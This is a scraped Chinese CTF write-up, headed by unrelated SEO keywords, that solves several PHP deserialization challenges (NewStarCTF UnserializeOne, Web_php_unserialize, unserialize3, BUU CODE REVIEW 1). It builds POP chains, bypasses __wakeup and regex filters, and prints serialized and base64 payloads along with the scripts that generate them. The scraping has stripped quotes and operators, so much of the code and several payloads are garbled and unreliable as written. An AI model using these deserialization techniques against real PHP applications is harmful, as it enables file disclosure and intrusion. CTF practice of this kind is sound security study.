网站模板中企动力,做视频网站每部电影都要版权,客户管理系统哪找,如何推广新产品的方法[NewStarCTF 公开赛赛道]UnserializeOne 分析代码#xff0c;最终需要调用到 file_get_contents 即可获得flag 从后往前分析
触发 __invoke 需要 以调用函数的方式调用一个对象 可以找到Start类 里的__isset中可以将类当作函数调用 所以需要调用到 __isset 就需要 isset()…[NewStarCTF 公开赛赛道]UnserializeOne 分析代码最终需要调用到 file_get_contents 即可获得flag 从后往前分析
触发 __invoke 需要 以调用函数的方式调用一个对象 可以找到Start类 里的__isset中可以将类当作函数调用 所以需要调用到 __isset 就需要 isset() 或 empty() 可以发现在 eeee类中存在 又需要调用 __clone 方法当对象被复制时调用 再继续找可以发现在Easy 类里存在 clone , 只要将 $var 实例化为一个对象 就可满足条件 这又需要去调用到 __call 方法在对象中调用一个不可访问方法时__call() 会被调用 可以发现在 Sec 类 中 使用了一个 check()方法但是这个方法是不存在的正好满足__call() 的条件这又需要调用到 __toString 方法一个类被当成字符串时被调用 可以在Start类中发现将 $name 实例化为一个类就可满足类被当作字符串使用 这需要调用到__destruct ,对传入的 pop 参数的值 反序列化就可以调用这样就可以串起来了
Start类 - __destruct --- Sec类- __toString --- Easy类 -__call --- eeee类-__clone --- Start类- __isset --- Sec 类- __invoke ---file_get_contents
链子出来了就需要去本地构造序列化了 ?php class Start{ public $name; public $func; } class Sec{ public $obj; public $var; } class Easy{ public $cla; } class eeee{ public $obj; } 尝试了几次失败的构造的有点问题
// $anew Start(new Sec(new Easy(new eeee(new Start(new Sec())))));
// O:5:Start:2:{s:4:name;N;s:4:func;N;} // $anew Start();
// $a-namenew Sec();
// $a-name-objnew Easy(new eeee(new Start(new Sec())));
// O:5:Start:2:{s:4:name;O:3:Sec:2:{s:3:obj;O:4:Easy:1:{s:3:cla;N;}s:3:var;N;}s:4:func;N;} $anew Start();
$a-namenew Sec();
$a-name-objnew Easy();
$a-name-varnew eeee();
$a-name-var-objnew Start();
$a-name-var-obj-funcnew Sec();
echo serialize($a);
// O:5:Start:2:{s:4:name;O:3:Sec:2:{s:3:obj;O:4:Easy:1:{s:3:cla;N;}s:3:var;O:4:eeee:1:{s:3:obj;O:5:Start:2:{s:4:name;N;s:4:func;O:3:Sec:2:{s:3:obj;N;s:3:var;N;}}}}s:4:func;N;}
最后这个可以成功得到flag Web_php_unserialize 需要绕过的点 __wakeup 绕过 : 修改序列化字符串中属性的数量使其比实际属性数量多
preg_match(/[oc]:\d:/i, $var)表示匹配o或c加冒号加任意数字的形式 绕过在数字前面加上 即可绕过
因为需要 base64编码 代码里面使用了private 又麻烦了点不能直接序列化后改
使用函数去改
?phpclass Demo { private $file index.php;
}$anew Demo(fl4g.php);
$bserialize($a);
echo $b;
//O:4:Demo:1:{s:10:Demofile;s:8:fl4g.php;}
$bstr_replace(O:,O:,$b);
$bstr_replace(s:,s:,$b);
$bstr_replace(Demo:1,Demo:2,$b);
echo $b;
echo base64_encode($b);
//Tzo0OiJEZW1vIjoyOntzOjEwOiIARGVtbwBmaWxlIjtzOjg6ImZsNGcucGhwIjt9?varTzorNDoiRGVtbyI6Mjp7czorMTA6IgBEZW1vAGZpbGUiO3M6Kzg6ImZsNGcucGhwIjt9 unserialize3 绕过__wakeup : 修改序列化字符串中属性的数量使其比实际属性数量多
?phpclass xctf{
public $flag 111;
}
$a new xctf();
$aserialize($a);
echo $a;
//O:4:xctf:1:{s:4:flag;s:3:111;}
//O:4:xctf:2:{s:4:flag;s:3:111;}
?codeO:4:xctf:2:{s:4:flag;s:3:111;} BUU CODE REVIEW 1 关键点在于要使 $correct $input 但是每次执行 $ccorrect 都会被赋予一个新的量 所以使用 符号 使$input指向$correct 的地址就能保证它们的值相等因为都是指向的同一个地址是同一个值
?phpclass BUU {public $correct ;public $input ;}$anew BUU();$a-input$a-correct;echo serialize($a);//O:3:BUU:2:{s:7:correct;s:0:;s:5:input;R:2;}
然后就是 md5的弱比较直接传数组比较简单 GET: ?pleaseget1
POST: pleasepost2md51[]1md52[]2objO:3:BUU:2:{s:7:correct;s:0:;s:5:input;R:2;}